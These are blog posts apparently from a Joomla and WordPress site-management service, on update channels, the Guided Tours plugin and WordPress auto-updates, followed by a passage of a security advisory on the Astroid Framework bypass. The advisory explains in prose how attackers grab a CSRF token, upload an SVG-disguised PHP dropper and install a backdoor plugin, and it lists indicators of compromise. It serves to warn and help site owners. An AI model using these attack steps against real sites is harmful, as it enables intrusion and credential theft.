The Joomla Next channel exists for a legitimate purpose: when you've done your compatibility testing, confirmed your extensions and templates work with the new version, and are ready to intentionally upgrade to the next major version. The problem is that once enabled, it stays enabled. People switch to it, upgrade one site, and then forget to switch it back. Or they switch it on a test site and accidentally leave it on a production site.

Testing

The Testing channel gives access to pre-release builds: alphas, betas, and release candidates. These are builds published by the Joomla project for community testing before a stable release.

This channel should only ever be used on dedicated test environments. Pre-release builds can have bugs, incomplete features, and database schema changes that aren't finalised. Installing a testing build on a production site is asking for trouble, and there's often no clean upgrade path from a beta to the final stable release.

STS and LTS (legacy)

Older Joomla versions (particularly the Joomla 3 era) used Short Term Support (STS) and Long Term Support (LTS) channels. These distinguished between feature releases and long-term maintenance releases within the same major version.

In modern Joomla (versions 4, 5, and 6), the STS and LTS distinction no longer applies in the same way. You may still see these values in some site configurations, particularly on sites that were migrated from Joomla 3 and never had the setting cleaned up. For practical purposes, they behave like the Default channel, but it's still best practice to explicitly set the channel to Default to avoid any ambiguity.

Why are wrong Joomla update channels dangerous?

A misconfigured update channel doesn't break anything immediately. Your site keeps running fine. The danger only shows itself when someone checks for updates and accepts what Joomla offers.

The accidental major version jump

The scenario plays out regularly across the Joomla community:

A site administrator sets the update channel to "Joomla Next" to upgrade one of their sites from Joomla 4 to Joomla 5
The upgrade goes fine, the site is now on Joomla 5
The administrator forgets to switch the channel back to "Default"
Months later, Joomla 6 is released
The admin panel shows "An update is available" - looks like a routine update
The administrator (or a junior team member) clicks Update
The site is now on Joomla 6, which was never tested, and extensions start breaking

This is not a hypothetical scenario. It happens after every major Joomla release. The Joomla forums fill up with posts from administrators who accidentally jumped to a new major version and now have broken sites. With Joomla 6 released in October 2025, this is happening right now to Joomla 5 sites that still have the Joomla Next channel enabled from when they upgraded from Joomla 4.

There is no rollback

When you upgrade from Joomla 5 to Joomla 6, the database schema changes. Tables are altered, columns are added or removed, and data is migrated.

You cannot simply downgrade the files back to Joomla 5 because the database no longer matches the Joomla 5 schema. The only recovery path is restoring a full backup - files and database together - from before the upgrade happened.

If you don't have a recent backup, or if your backup schedule hasn't run since the last content changes, you're looking at data loss on top of the version mess.

Extension and template incompatibility

Major Joomla version upgrades routinely break third-party extensions and templates. Extension developers need time to update their code for new APIs, deprecated features, and changed behaviour in a new major version.

When you intentionally plan a major version upgrade, you check each extension's compatibility first. You review the Joomla 5 requirements or Joomla 6 requirements to make sure your server meets the minimums. You test on a staging site. You have a plan.

When the upgrade happens accidentally, none of that preparation has been done. Extensions that haven't been updated for the new version will throw errors, produce white screens, or silently malfunction. Templates may break entirely, leaving your site looking nothing like it should.

The problem multiplies across a portfolio

For anyone managing multiple Joomla sites, the risk compounds quickly. If you set one site to the Joomla Next channel and then used a configuration template or copied settings across sites, you could have dozens or hundreds of sites with the wrong channel. A mass upgrade from one dashboard becomes a mass problem if the update channel is wrong on the sites being upgraded.

The sites look fine, the update channel is buried in a component options page that nobody routinely checks, and the actual failure only happens when an update is offered and accepted.

How to check your update channel in Joomla

If you're managing sites individually, here's how to verify the update channel on each one:

Log in to the Joomla administrator panel
Go to Components > Joomla Update
Click the Options button in the toolbar (top right)
Look at the Update Channel dropdown

If it says "Default", you're fine. If it says anything else - particularly "Joomla Next" - change it back to Default and save.

The problem with doing this manually is obvious: you have to log into every single site, navigate to the same page, check the same dropdown, and remember to do this periodically. For anyone with more than a handful of sites, this doesn't scale.

How does mySites.guru monitor Joomla update channels?

mySites.guru tracks the update channel setting for every connected Joomla site automatically.

Snapshot monitoring

Every time mySites.guru runs a snapshot of your sites, it reads the updatesource parameter from the Joomla Update component configuration. This value is stored and displayed in the dashboard alongside your site's Joomla version, PHP version, and database details.

On the Joomla 5 and Joomla 6 compatibility checker pages, the update channel column shows a green badge with a checkmark when the channel is set to Default, and a red badge with an X when it's set to anything else. You can see at a glance which of your sites have a misconfigured update channel without logging into any of them.

Best practice audit

The mySites.guru best practice audit includes a dedicated check for the update channel. The audit tool - titled "Use Default Update Channel on Live Sites to prevent accidental series jump" - evaluates every connected Joomla site and flags any site where the channel is not set to Default.

This runs automatically with each snapshot, so even if someone changes the update channel on a site between your manual checks, mySites.guru will catch it on the next scan. The check also tracks trend data: if a site's channel changes from Default to something else (or vice versa), the dashboard highlights the change so you can investigate.

Remote fix

When mySites.guru detects a site with the wrong update channel, you don't have to log into that site to fix it. The dashboard provides a toggle that remotely sets the update channel back to Default. For a single site, it's one click. For multiple sites, you can view all affected sites filtered by this specific issue and work through them.

This means you can fix a misconfigured channel in seconds from your dashboard instead of discovering it after the damage is done.

Forced Default during upgrades

When you use mySites.guru to upgrade Joomla core, the upgrade process forces the update source to Default before applying the update, regardless of what the site's local setting is. Even if a site is set to Joomla Next, mySites.guru overrides this to prevent the upgrade from jumping to a different major version series.

This means that when you do a bulk upgrade across hundreds of sites, you know that every site will get the latest minor/patch release for its current major version - not an unexpected jump to a new series. This is a deliberate safety mechanism built into the upgrade connector for Joomla 3, 4, 5, and 6.

<div class="not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950"> <p class="font-medium text-blue-900 dark:text-blue-200"><strong>Key point:</strong> Even if a site has the wrong update channel, mySites.guru forces the channel to Default before performing any core upgrade. This prevents accidental series jumps regardless of the local configuration. You can still intentionally upgrade major versions through the dedicated migration tools.</p> </div>

When should you use the Joomla Next channel?

The Joomla Next channel exists for good reasons, and there are legitimate times to use it:

For intentional major version upgrades: when you've verified your server meets the requirements, confirmed your extensions are compatible, tested on a staging site, and taken a full backup, switching to the Joomla Next channel is the right way to perform the upgrade.

For dedicated migration projects: if you're working through a batch of Joomla 4 to Joomla 5 migrations, or Joomla 5 to Joomla 6, you'll use the Joomla Next channel on each site during the upgrade window.

Either way: switch back to Default the moment the upgrade is done. Don't leave it for later. Don't assume you'll remember. Set it back to Default as the final step of every major version upgrade.

How does the Joomla update channel affect end-of-life versions?

Update channels become even more relevant when a Joomla version reaches end of life. When Joomla 4 reached its end-of-life date, sites still running Joomla 4 stopped receiving security updates through the Default channel. Some administrators then switched to the Joomla Next channel thinking it would give them "the latest updates" without realising it would offer Joomla 5 as the update.

This creates a dangerous situation: an administrator trying to get security patches for an EOL version inadvertently triggers a major version upgrade. The site jumps to Joomla 5, extensions break, and the administrator is worse off than before.

The correct approach for end-of-life Joomla versions is to plan a proper migration, not to change the update channel hoping for patches. mySites.guru clearly flags sites running end-of-life versions and tracks the update channel separately, so you always know which sites need migration attention and which are safely configured.

What are the common mistakes with Joomla update channels?

Copying configuration between sites

If you use a staging or template site to spin up new Joomla installations, check the update channel on that template. Whatever is set on the template gets inherited by every new site. If your template site was last used for a major version upgrade test and still has the Joomla Next channel enabled, every site you spin up from it will have the same misconfiguration.

Tutorials that don't mention switching back

Plenty of Joomla upgrade tutorials explain how to switch to the Joomla Next channel but don't mention switching back afterward. Some end at "congratulations, your site is now on Joomla X" without mentioning the update channel at all. If you followed a tutorial to upgrade one of your sites, go back and check the channel setting now.

Assuming "it only affects the next update"

Some administrators know their channel is set to Joomla Next but think it's fine because they'll "just not click Update" next time a major version appears. This is fragile. It relies on whoever checks for updates knowing the difference between a patch and a major version jump, and reading the version number carefully every single time. On a Monday morning with fifty sites to update, that's a bad bet.

Not auditing after team changes

When team members join or leave, their access to Joomla admin panels may change, but their past configuration changes remain. A developer who changed the update channel while testing something may have left the organisation months ago, and the setting sits there waiting. Automated monitoring catches this kind of configuration drift that manual reviews miss.

A practical Joomla update channel checklist

Whether you manage one Joomla site or a thousand, the same steps apply:

Audit all sites now. Check the update channel on every Joomla site you manage. With mySites.guru, this is visible at a glance on the Joomla 5 compatibility or Joomla 6 compatibility pages. Without it, you'll need to log into each site individually.
Set every production site to Default. No exceptions. If a site is live and serving users, its update channel should be Default.
Only switch channels temporarily. When you need the Joomla Next channel for a planned migration, enable it, perform the upgrade, and disable it immediately. Treat it like scaffolding: put it up, use it, take it down.
Monitor continuously. A one-time audit isn't enough. Settings change, team members make adjustments, and tutorials give bad advice. Use automated snapshot monitoring to catch changes as they happen.
Keep backups current. Even with the right channel, things can go wrong. Make sure your backup schedules are running and that you've tested a restore at least once.
Check automated core updates too. Joomla 5.4+ and 6.0 introduced automated core upgrades that can apply patches without admin interaction. Even with the right update channel, a site with automated updates enabled can still update itself at an inconvenient time. Audit both settings together.
Document your migration process. Write down the steps for a major version upgrade, including the step where you switch the channel back to Default. Make it part of the procedure, not an afterthought.

Configuration management at scale

The update channel is one setting on one component in Joomla. But it's a good example of how a small misconfiguration can cause real damage when you're managing dozens or hundreds of sites.

mySites.guru applies the same approach here as it does with security headers, PHP version tracking, and end-of-life version monitoring: monitor automatically, flag deviations, and provide remote fixes.

If you're managing multiple Joomla sites and haven't checked your update channels recently, start with a free audit to see what mySites.guru finds across your connected sites.

<div class="not-prose my-6 rounded-lg border border-neutral-200 dark:border-neutral-700 bg-neutral-50 dark:bg-neutral-800/50 p-4 flex gap-3 items-start text-sm"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" class="w-5 h-5 shrink-0 fill-neutral-500 dark:fill-neutral-400 mt-0.5"><path d="M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464a256 256 0 1 0 0-512 256 256 0 1 0 0 512zM216 336l-24 0 0 48 128 0 0-48-32 0 0-112-96 0 0 48 48 0 0 64-24 0zm72-144l0-64-64 0 0 64 64 0z"/></svg> <p class="text-neutral-700 dark:text-neutral-300 m-0"><strong>Further reading:</strong> <a href="https://manual.joomla.org/docs/next/get-started/technical-requirements/" class="underline">Joomla technical requirements</a> - <a href="https://manual.joomla.org/docs/next/get-started/" class="underline">Joomla getting started guide</a></p> </div>

Read more about safe upgrade strategies in our CMS updates guide.

How to Find and Disable the Guided Tours Plugin on Your Joomla Sites

phil@mysites.guru (Phil Taylor) — Sun, 08 Mar 2026 00:00:00 GMT

Joomla 4.3.0 introduced the Guided Tours feature, a system plugin that walks administrators through common tasks in the admin panel with interactive step-by-step overlays. It highlights buttons and fields, shows explanatory tooltips, and guides you through workflows like creating an article or configuring user settings.

It's a thoughtful addition for people learning Joomla. But on production sites managed by experienced administrators, it's dead weight.

I'll cover what the plugin actually does under the hood, why it belongs disabled on live sites, how to disable it manually, and how mySites.guru flags it automatically across all your connected Joomla sites.

What Does the Joomla Guided Tours Plugin Do?

The Guided Tours system (plg_system_guidedtours) is a system plugin that loads on every page of the Joomla admin panel. It consists of several parts:

The system plugin - hooks into every admin page load to inject the tour JavaScript and CSS
The tours component (com_guidedtours) - stores and manages tour definitions in the database
Tour step definitions - JSON-based step sequences that target specific DOM elements on admin pages
The frontend overlay - the actual interactive UI that highlights elements and shows instructional text

When the plugin is enabled, Joomla loads the tour framework on every single admin page request, regardless of whether anyone is actually running a tour. The JavaScript waits in the background, ready to activate when a user starts a tour from the admin menu.

Joomla ships with several built-in tours covering tasks like:

How to create an article
How to create a menu and menu items
How to create a category
How to configure global settings
How to manage users and user groups

Extension developers can also create their own tours to introduce users to their extension's features. The system is extensible by design.

When Does Joomla Guided Tours Make Sense?

There are legitimate scenarios where leaving the Guided Tours plugin enabled is the right call:

Training new team members

If you're onboarding new administrators who haven't used Joomla before, the guided tours provide a structured introduction without needing someone to sit beside them. They can work through the tours at their own pace and get familiar with where things are.

Development and staging environments

On development or staging sites where you're building out the admin experience, you might want tours enabled to test them or to understand the admin workflows from a new user's perspective.

Custom client onboarding

If you build Joomla sites for clients and hand over the admin panel, some agencies create custom guided tours that walk clients through the specific workflows they need - publishing blog posts, managing products, or updating contact information. In this case, the tours are part of the deliverable.

Extension developers testing tours

If you're developing a Joomla extension and building guided tours for it, you obviously need the plugin enabled during development and testing.

Why Should You Disable It on Production Sites?

For the vast majority of production Joomla sites, the Guided Tours plugin should be disabled.

Unnecessary resource loading

Every time an administrator loads any page in the Joomla admin panel, the Guided Tours plugin:

Executes its PHP system plugin code during the onAfterDispatch event
Injects JavaScript files for the tour engine
Injects CSS for the tour overlay styling
Loads tour definitions from the database

This happens on every admin page load, not just when someone clicks "Start Tour." The JavaScript sits idle in the browser, consuming memory and adding to the page's script evaluation time.

On a single page load, the overhead is small. But admin sessions involve dozens or hundreds of page loads. Across a day of admin work, across multiple administrators, it adds up to wasted bandwidth and processing time for functionality nobody is using.

Admin interface clutter

With the plugin enabled, a "Guided Tours" menu item appears in the admin sidebar under Components. There's also a "Start Tour" button context in some admin views. For experienced administrators, these are visual noise - one more thing to scroll past, one more menu item cluttering the sidebar that serves no purpose.

Increased attack surface

The Guided Tours plugin doesn't have a known vulnerability today. But minimising your attack surface matters regardless.

Every enabled plugin is code that runs on every request. If a security flaw turns up in any of them, every site with that plugin enabled is exposed. The Joomla security team has a good track record, but reducing active plugins to only what you need is basic hardening.

This is the same logic behind disabling other unused Joomla features. If you're not using it, turn it off. If a vulnerability is found in a component you're running, you want to already have the smallest possible footprint.

It's a solved problem for experienced admins

Once you know how to create an article in Joomla, you don't need an interactive overlay to show you where the "New" button is. The guided tours are designed for first-time users. By the time you're deploying sites to production, you're past that stage.

The same applies to your team. If they need guided tours to do their daily work, they need training - not a plugin running on a production server.

How Do You Disable Joomla Guided Tours Manually?

Disabling the plugin through the Joomla admin panel is straightforward:

Log in to your Joomla admin panel
Navigate to System in the sidebar menu
Click Plugins under the Manage section
Search for "Guided Tours" in the search box
Click on System - Guided Tours to open the plugin
Set the Status to Disabled
Click Save & Close

Alternatively, you can toggle the status directly from the plugin list by clicking the green checkmark icon next to the plugin name to change it to a red X.

You can verify it worked by checking that the "Guided Tours" menu item has disappeared from the Components menu and that no tour-related JavaScript loads on admin pages.

The manual approach doesn't scale

If you manage one Joomla site, the above takes thirty seconds. If you manage ten sites, it's five minutes of repetitive clicking. If you manage fifty or a hundred sites, you're spending a meaningful amount of time logging into admin panels just to disable a single plugin.

And that's just the initial disable. What about after Joomla updates? What about new sites you add to your portfolio? What about sites where a well-meaning administrator re-enables it?

The manual approach requires you to remember to check this setting on every site, every time. That's exactly the kind of repetitive, error-prone task that should be automated.

How mySites.guru detects the Guided Tours plugin

mySites.guru checks the Guided Tours plugin status as part of its snapshot process. Every time a snapshot runs on a connected Joomla site (version 4.3.0 or later), the connector queries the Joomla extensions database:

SELECT count(*) FROM #__extensions
WHERE name = 'plg_system_guidedtours' AND enabled = 1

If the query returns 1, the plugin is enabled and the snapshot flags it. If it returns 0, the plugin is disabled and everything is green.

This check runs automatically. You don't need to remember to look for it. The snapshot result appears in the Extension Information section alongside other plugin checks, showing you at a glance whether the Guided Tours plugin needs attention.

<div class="not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950"> <p class="font-medium text-blue-900 dark:text-blue-200">The Guided Tours check is part of mySites.guru's broader <a href="/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/" class="text-blue-900 underline dark:text-blue-200">best practice audit</a> for Joomla sites. It sits alongside checks for debug mode, error reporting, post-installation messages, and other configuration items that should be tightened on production sites.</p> </div>

What the snapshot shows

In the mySites.guru dashboard, the Guided Tours check appears in the Extension Information section of your site's snapshot. You'll see one of two states:

OK (green) - the plugin is disabled, no action needed
Issue (red) - the plugin is enabled and should be disabled on this production site

The check also tracks changes between snapshots. If the plugin was disabled on the last snapshot but is now enabled (perhaps after a Joomla update or someone re-enabling it), the trend indicator shows the change so you can catch configuration drift immediately.

How Do You Disable Joomla Guided Tours with mySites.guru?

Once the snapshot has identified that the Guided Tours plugin is enabled, you have two ways to fix it.

From the site snapshot

Click on the Guided Tours check in the Extension Information section. mySites.guru shows you the current state and provides a toggle to enable or disable the plugin remotely. Click the toggle, and the connector updates the plugin's status in the Joomla database directly - no need to log into the Joomla admin panel.

The toggle works in both directions. If you need to temporarily re-enable the plugin (for training, testing, or onboarding), you can turn it back on from the same interface and disable it again when you're done.

This is the same pattern used for other Joomla configuration toggles, like hiding post-installation messages or managing extensions.

From the all-sites tool view

For managing the Guided Tours plugin across your entire portfolio, the all-sites tool view is more efficient. This view lists every connected Joomla site (4.3.0+) and shows the Guided Tours plugin status for each one.

From this single screen you can:

See which sites have the plugin enabled and which have it disabled
Sort and filter to find sites that need attention
Toggle the plugin on or off for individual sites

If you've just connected a batch of new Joomla sites to mySites.guru, the all-sites view lets you quickly scan for the Guided Tours plugin and disable it everywhere it shouldn't be running.

Why Does Plugin Hygiene Matter on Joomla Sites?

The Guided Tours plugin is just one example of a broader principle: production Joomla sites should only run the plugins they actually need.

Joomla ships with a large number of system plugins enabled by default. Many of them are essential - authentication, session handling, content processing. But others are optional features that may not be relevant to every site.

A disciplined approach to plugin management means:

Auditing what's enabled - know which plugins are active on each site
Disabling what's unused - turn off plugins that don't serve a purpose on that specific site
Monitoring for drift - catch it when plugins get re-enabled unexpectedly
Documenting exceptions - know why a plugin is enabled when the default recommendation is to disable it

mySites.guru automates steps 1 through 3. The extension management tools give you visibility into every extension on every site, and the snapshot checks flag the ones that deviate from best practice. And it's not just plugins - automatically removing fluff files after Joomla updates is another way to keep your sites lean.

<div class="not-prose my-6 rounded-lg border border-green-200 bg-green-50 p-4 dark:border-green-800 dark:bg-green-950"> <p class="font-medium text-green-900 dark:text-green-200">Want to see how your sites score across all best practice checks, not just Guided Tours? Run a <a href="/free-audit/" class="text-green-900 underline dark:text-green-200">free audit</a> on any Joomla site to get a full report covering security, performance, and configuration.</p> </div>

What Other Joomla Plugins Should You Review on Production Sites?

While you're looking at the Guided Tours plugin, here are other default Joomla plugins worth reviewing on production sites:

System - Debug

The debug plugin displays diagnostic information at the bottom of every page, including database queries, memory usage, and loaded language strings. Essential for development, terrible for production. mySites.guru checks this as part of the best practice audit.

System - Statistics

Sends anonymous usage statistics to the Joomla project. Some site owners prefer to disable this for privacy or performance reasons.

Content - Email Cloaking

If your site doesn't display email addresses in content, this plugin runs regex on every page output for no reason. Disable it if you don't need it.

System - Debug Language

Shows untranslated language strings. Only useful during development when you're building or testing translations.

Content - Load Modules

Allows loading modules within article content using {loadmodule} syntax. If you don't use this feature, it's scanning every article unnecessarily.

The principle is always the same: if it's not serving a purpose on this specific site in production, disable it. Every disabled plugin is one fewer thing to load, one fewer thing to update, and one fewer potential attack vector. The same logic applies to features like Send Copy to Submitter in contact forms - if it's not needed, it's just another thing running for no reason.

Which Joomla Versions Include Guided Tours?

The Guided Tours feature was introduced in Joomla 4.3.0, released in April 2023. Version compatibility breakdown:

Joomla version	Guided Tours status
Joomla 3.x	Not available - no action needed
Joomla 4.0 - 4.2	Not available - no action needed
Joomla 4.3.0+	Present and enabled by default
Joomla 5.x	Present and enabled by default
Joomla 6.x	Present and enabled by default

mySites.guru's check only runs on Joomla 4.3.0 and later since earlier versions don't have the plugin. If you're managing a mixed portfolio of Joomla 3, 4, and 5 sites, the check automatically applies only to the sites where it's relevant.

If you're still running Joomla 3 sites, the Guided Tours plugin isn't a concern - but you should be thinking about your migration path to Joomla 4 or 5 or considering the Joomla 6 technical requirements for your next upgrade cycle.

Performance impact: how much does it actually matter?

Let's be honest about the performance impact. Disabling the Guided Tours plugin on a single site isn't going to cut your page load time in half. We're talking about a few kilobytes of JavaScript and CSS, plus a small amount of PHP execution time on each admin page load.

But performance optimisation on the admin panel is about the aggregate effect of many small improvements:

Disable Guided Tours: saves a few KB of JS/CSS per page load
Disable Debug plugin: saves significant output rendering
Disable unused content plugins: saves regex processing on every article render
Disable unused system plugins: saves PHP execution time on every request

Each one is small. Together, they make a noticeably snappier admin experience, especially on shared hosting where server resources are limited and PHP execution time is precious.

For agencies managing dozens or hundreds of sites, this adds up further. If you have 100 Joomla sites and each admin session involves 50 page loads, and each page load saves 20ms from disabling unused plugins, that's 1 second per session, multiplied by however many admin sessions happen per day across all your sites. Not life-changing, but not nothing either.

The bigger point is discipline: running lean configurations across your portfolio means fewer things to troubleshoot when something goes wrong.

Fitting this into your wider Joomla management workflow

Disabling the Guided Tours plugin is one small piece. The snapshot that detects it also captures dozens of other configuration checks, so run them regularly to keep your data current.

The best practice checks cover debug settings, error reporting, SEF URLs, and more - Guided Tours is one item in that audit. The extension management tools give you a broader view of every extension on every site, not just this one plugin.

If you need to verify the change in Joomla's admin panel, one-click admin login gets you there without credentials. And just like dismissing post-installation messages across hundreds of sites, the Guided Tours toggle works at scale from the dashboard.

Getting started

If you're already a mySites.guru subscriber, run a snapshot on your Joomla 4.3+ and Joomla 5 sites and check the Extension Information section for the Guided Tours check. If any sites show it as enabled, toggle it off from the dashboard.

If you're not yet using mySites.guru, you can run a free audit on any Joomla site to see all the best practice findings, including the Guided Tours plugin status. The audit covers security, configuration, and performance checks - the Guided Tours plugin is just one of many items it reviews.

For a full overview of what mySites.guru offers for Joomla site management, check the features page.

Wrap up

The Guided Tours plugin has its place during onboarding and training. On production sites where everyone already knows Joomla, it's just extra JavaScript, CSS, and database queries on every admin page load for no benefit.

Disabling it on one site takes thirty seconds. Keeping it disabled across a portfolio of sites, catching it when Joomla updates re-enable it, and maintaining consistent configuration across fifty or a hundred sites - that's where doing it manually falls apart.

mySites.guru's snapshot check catches it automatically, flags it, and gives you a one-click toggle. No logging into individual admin panels, no spreadsheet tracking which sites you've already fixed.

How to Stop Automatic Updates in WordPress with One Click

phil@mysites.guru (Phil Taylor) — Sun, 08 Mar 2026 00:00:00 GMT

What's the problem with WordPress automatic updates?

WordPress introduced automatic background updates in version 3.7. The idea was sound: keep sites patched without relying on site owners to apply updates by hand. For small personal blogs, it works fine most of the time.

For anyone managing client sites, running WooCommerce stores, or operating sites where uptime matters, automatic updates are a different problem entirely.

What can go wrong:

Major version upgrades ship with database schema changes, new default behaviors, and deprecated functions. Plugins that worked yesterday might throw errors today.
Plugin and theme updates triggered automatically can introduce bugs, change layouts, or conflict with other plugins.
Updates during peak traffic can cause temporary downtime while the update runs, especially on shared hosting.
No rollback - if an update breaks something at 3am, your site sits broken until someone notices and fixes it.

The WordPress ecosystem moves fast. Plugin authors push updates frequently, and not every release is well-tested against every combination of other plugins and themes. Automatic updates mean you're trusting that every update, from every source, will work perfectly on your specific site configuration.

What is the WordPress AUTOMATIC_UPDATER_DISABLED constant?

WordPress controls automatic updates through the AUTOMATIC_UPDATER_DISABLED constant in wp-config.php. When set to true, it disables all automatic background updates (core, plugins, themes, and translations). This is one of several WordPress debug and configuration constants that control site behaviour.

To set it manually, you'd SSH into your server, open wp-config.php, and add:

define('AUTOMATIC_UPDATER_DISABLED', true);

Then repeat that for every WordPress site you manage, remember which ones you've changed, and make sure nobody reverts the change during a WordPress upgrade.

For a single site, it's a two-minute task. For 30 sites, it's a headache. For 200 sites, it's a full afternoon.

How does mySites.guru disable WordPress automatic updates in one click?

mySites.guru's WordPress Configuration audit reads AUTOMATIC_UPDATER_DISABLED from wp-config.php on every connected site during each snapshot. If auto-updates are still enabled, the audit flags it.

Click the fix button, and the connector plugin sets the constant to true on the remote site. The next snapshot confirms it stuck. If someone (or something) reverts the change later, the audit catches it again.

You can see the auto-update status of every WordPress site on one screen. No individual admin logins, no spreadsheets. If you're managing multiple WordPress sites, this alone saves hours of repetitive work.

How do WordPress filter hooks give you granular update control?

The wp-config.php constants are the quickest way to disable auto-updates, but WordPress also provides filter hooks that give you more granular control. You can add these to your theme's functions.php or a custom plugin (hat tip to Jeff Starr at DigWP for the thorough rundown):

add_filter('automatic_updater_disabled', '__return_true');
add_filter('auto_update_core', '__return_false');
add_filter('auto_update_plugin', '__return_false');
add_filter('auto_update_theme', '__return_false');
add_filter('auto_update_translation', '__return_false');

Each filter targets a specific update type, so you can mix and match. For example, you could disable plugin and theme auto-updates while still allowing translation packs to update silently.

For even finer core update control, WordPress offers three filters that break core updates into categories:

allow_dev_auto_core_updates - development/nightly builds
allow_minor_auto_core_updates - security and maintenance releases (e.g. 6.4.1 to 6.4.2)
allow_major_auto_core_updates - major version jumps (e.g. 6.4 to 6.5)

If you want to go further and stop WordPress from even checking for updates (saving HTTP requests on every admin page load), you can remove the check actions entirely:

remove_action('admin_init', '_maybe_update_core');
remove_action('admin_init', '_maybe_update_plugins');
remove_action('admin_init', '_maybe_update_themes');

This is more aggressive than the filters above - it prevents WordPress from contacting the update servers at all, so you won't see available updates in the dashboard until you manually trigger a check. Use this only if you have another system (like mySites.guru) monitoring update availability for you.

Is there a better approach with WordPress minor updates only?

Disabling all automatic updates is one extreme. The other extreme is leaving everything on auto-pilot. There's a middle ground that works better for most professional setups.

WordPress has a separate constant called WP_AUTO_UPDATE_CORE that lets you allow only minor (security/patch) updates while blocking major version upgrades. We've written a detailed guide to enforcing minor-only WordPress updates that covers the constant, how it interacts with AUTOMATIC_UPDATER_DISABLED, and how mySites.guru manages both.

Setting it to 'minor' means WordPress will still auto-apply security patches (like 6.4.1 to 6.4.2) but won't jump from 6.4 to 6.5 without your involvement. This is especially relevant with WordPress 7.0 (delayed from its original April 9 date while the team reworks real-time collaboration), which raises the PHP minimum to 7.4 and MySQL minimum to 8.0 - you don't want sites auto-updating to a version their server can't run. Use our WordPress 7 technical requirements checker to see which sites are ready.

You can use both constants together for fine-grained control:

Disable the full auto-updater to stop WordPress from updating plugins and themes automatically
Enable minor-only core updates to still receive security patches

This gives you the safety net of security patches without the risk of untested major upgrades breaking your sites.

How do you manage updates deliberately?

Disabling automatic updates isn't the same as ignoring updates. You still need to keep WordPress, plugins, and themes current; you're just choosing to do it on your terms.

With mySites.guru, you can:

See available updates across all connected sites in one place
Spot which sites are behind on core, plugin, or theme versions
Apply updates when you're ready, not when WordPress decides to
Get vulnerability alerts when a plugin has a known security issue

Keeping plugins up to date also reduces your attack surface. Outdated plugins are the number one way WordPress sites get compromised, and mySites.guru's vulnerability scanner cross-references your installed versions against threat databases twice a day. When you're ready to push updates across your portfolio, the bulk update WordPress tool lets you apply them to many sites at once without logging into each one.

The workflow shifts from "hope nothing breaks overnight" to "review what's available, test if needed, apply when ready."

How do you prevent unwanted WordPress plugin installs?

Controlling updates is half the equation. The other half is making sure nobody installs untested plugins on your managed sites in the first place.

If you give clients wp-admin access, there's nothing stopping them from installing a random plugin that conflicts with your carefully maintained stack. mySites.guru can detect and block unauthorized plugin installs so you stay in control of what runs on each site. You should also remove default content like the Sample Page and Hello World post that ships with every WordPress install - it's another cleanup step the configuration audit handles automatically.

Who should disable WordPress automatic updates?

If you manage WordPress sites for clients or run sites where reliability matters, you need control over when updates happen. Specifically:

Agencies managing client portfolios - a broken client site at 2am is a support ticket and a reputation hit
WooCommerce stores - a plugin conflict during checkout means lost revenue
Membership sites - downtime means paying members can't access content
High-traffic sites - updates during peak hours cause unnecessary load

For personal blogs with no revenue impact, automatic updates are probably fine. For everything else, take control. If you're juggling more than a handful of sites, read our guide on how to manage multiple WordPress sites like a pro for a broader look at the tools and workflows that make this manageable.

What about the Joomla equivalent?

If you manage Joomla sites alongside WordPress, Joomla 5.4+ and 6.0 introduced a similar feature: automated core upgrades that apply patches without admin action. mySites.guru lets you disable those from the same dashboard, so you have consistent update control across both CMS platforms.

Astroid Framework Vulnerability - What Happened and How to Check Your Joomla Site

phil@mysites.guru (Phil Taylor) — Thu, 05 Mar 2026 00:00:00 GMT

The Astroid Framework for Joomla has a critical authentication bypass vulnerability (CVE-2026-21628, CVSS 10.0) that attackers are actively exploiting. They're using it to install backdoor plugins and inject hidden SEO spam links into affected sites.

If your Joomla site runs the Astroid Framework, check it now. If you already know your Joomla site has been hacked, skip to our recovery guide.

TL;DR

CVE-2026-21628 - CVSS 10.0 critical auth bypass in every Astroid Framework version before 3.3.11
Attackers grab a CSRF token from the public login page and use it to upload backdoors and install SEO spam plugins - no login required
Update to Astroid 3.3.13 immediately (3.3.11 had regressions, 3.3.12 fixed those, 3.3.13 adds further bug fixes and dependency updates)
Check your plugin manager for BLPayload / BL Payload plugins and delete any plg_jcp_*.html files in /administrator/cache/
Already compromised? Updating alone won't help - the backdoors stay. Full cleanup steps below

<div class="not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950"> <p class="font-medium text-amber-900 dark:text-amber-200">This post relates to the wave of Astroid Framework attacks in late February and early March 2026. The vulnerability (<a href="https://nvd.nist.gov/vuln/detail/CVE-2026-21628" class="text-amber-900 underline dark:text-amber-200">CVE-2026-21628</a>, CVSS 10.0 Critical) was publicly reported on 4 March 2026 and patched in version 3.3.11 on 5 March 2026. If you haven't updated since then, your site is at risk.</p> </div>

What happened?

The vulnerability was in library/astroid/Admin.php, the file that handles all AJAX requests for the Astroid Framework's admin interface.

The code used Joomla's checkToken() function to verify CSRF tokens, but it never checked whether the person sending the request was actually logged in as an administrator. The CSRF token from the public /administrator login page was enough to authenticate any request.

That meant an attacker could:

Visit the Joomla admin login page and grab the CSRF token from the HTML
Send requests to the Astroid AJAX endpoint using that token
Upload files, rename them, and install extensions, all without ever logging in

The fix in version 3.3.11 added a checkAdminAuth() method that verifies the user has core.manage permission for com_templates before processing any request. Basic authorization checking that should have been there from the start.

Every version of Astroid before 3.3.11 is vulnerable, including all versions from the original JoomDev era. Sites running Joomla 5 and Joomla 6 are both affected - reports from the Swiss Joomla forum and the French Joomla forum confirm compromised Joomla 6.0.3 and Joomla 5.4.3 installations respectively.

What are the attackers installing?

The attack is a two-stage process: a dropper, then a payload.

Stage 1: the dropper

The attacker uploads a PHP file disguised as an SVG image through the Astroid AJAX endpoint. The file looks harmless to basic file type checks because it ends with valid SVG markup, but the PHP code runs first.

Inside the dropper is a base64-encoded ZIP archive containing the actual payload plugin. The dropper accepts URL parameters that control the installation:

?go extracts the ZIP to /plugins/system/blpayload/, reads your Joomla configuration.php to grab the database credentials, then writes directly to the extensions table. It registers itself as enabled with ordering 9999 (highest priority) so it runs before everything else.
?check confirms the payload was successfully installed.
?del deletes the dropper itself to cover the attacker's tracks.

